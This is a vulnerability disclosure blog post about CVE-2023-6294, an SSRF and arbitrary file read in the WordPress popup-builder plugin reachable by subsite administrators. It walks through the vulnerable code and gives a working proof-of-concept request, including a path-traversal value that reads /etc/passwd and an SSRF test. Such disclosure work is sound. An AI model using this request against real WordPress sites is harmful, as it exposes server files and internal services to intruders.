CVE-2023-6294: popup-builder <= 4.2.6 Admin+ SSRF & File Read
In this blog post I'll describe the details of CVE-2023-6294, a local file inclusion in WordPress' popup-builder plugin.
First of all, this vulnerability is only exploitable in multi-site WordPress installations with at least subsite administrator privileges.
Successful exploitation can lead to SSRF and arbitrary file read.
Theory
Let's dive into the code to get a deeper understanding.
The API action sgpb_import_subscribers
takes the parameter importListURL
and eventually passes it to wp_remote_get()
and file()
.
In popup-builder/com/classes/Ajax.php
the constructor calls $this->actions()
, which first evaluates the user's permissions using $allowToAction = AdminHelper::userCanAccessTo();
and then registers the API action add_action('wp_ajax_sgpb_import_subscribers', array($this, 'importSubscribers'));
.
userCanAccessTo()
is defined in popup-builder/com/helpers/AdminHelper.php
and checks if the requesting user has the correct permissions and roles to access the API. So far, so good.
Back in Ajax.php
, the API's callback importSubscribers()
is defined, where it first validates the nonce (check_ajax_referer(SG_AJAX_NONCE, 'nonce');
) and then defines $fileURL
: $fileURL = isset($_POST['importListURL']) ? sanitize_text_field($_POST['importListURL']) : '';
Interestingly, there is a call to sanitize_text_field
, but this WordPress built-in function does not sanitize the string for path traversal issues, only cross-site scripting and others.
The function then continues to capture the output buffer of the importConfigView.php
:
ob_start();
require_once SG_POPUP_VIEWS_PATH.'importConfigView.php';
$content = ob_get_contents();
ob_end_clean();
This file is at popup-builder/public/views/importConfigView.php
and it first passes $fileURL
to getFileFromURL
, which in turn will call wp_remote_get()
: $fileContent = AdminHelper::getFileFromURL($fileURL);
.
Further, it executes the following line to read from $fileURL
:
$csvFileArray = array_map('str_getcsv', file($fileURL));
With that, the former allows to send HTTP requests to the URL provided in importListURL
resulting in server-side request forgery (SSRF) and the latter allows to read arbitrary files by setting it to a file path.
Proof of Concept
To see the vulnerabilities in action, first configure a multi-site WordPress installation with a separate subsite and non-superadmin account.
Login as the subsite administrator and navigate to the popup-builder plugin in the menue. Create a dummy subscription, so that it shows up on the Import/Export settings page.
When submitting the import form, the following request will be send to the WordPress backend:
POST /site2/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 156
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [cookie]
Connection: close
action=sgpb_import_subscribers&nonce=7ab37e2ddd&popupSubscriptionList=8&importListURL=<import-path>&beforeSend=
When the importListURL
is set to ../../../../../../../../../../../../../../../../etc/passwd
, the output will contain the first line of the /etc/passwd
's contents:
<div class="subFormItem__title">
root:x:0:0:root:/root:/bin/bash
</div>
Similarly, when we set importListURL
to an URL, we can exploit the SSRF. For example, we start a simple HTTP server on localhost (python -m http.server 1337
) and send a request to it with importListURL=http://localhost:1337
. The output is:
<div class="subFormItem__title">
Hacked
</div>
Timeline
- 2023.06.28 - Initial discovery
- 2023.07.03 - Report to plugin developers
- 2023.11.22 - Report to WPScan to assign CVE-ID
- 2023.11.24 - Vulnerability acknowledged and CVE assigned
- ~ 2023.12.28 - New version released
- 2024.01.31 - Public disclosure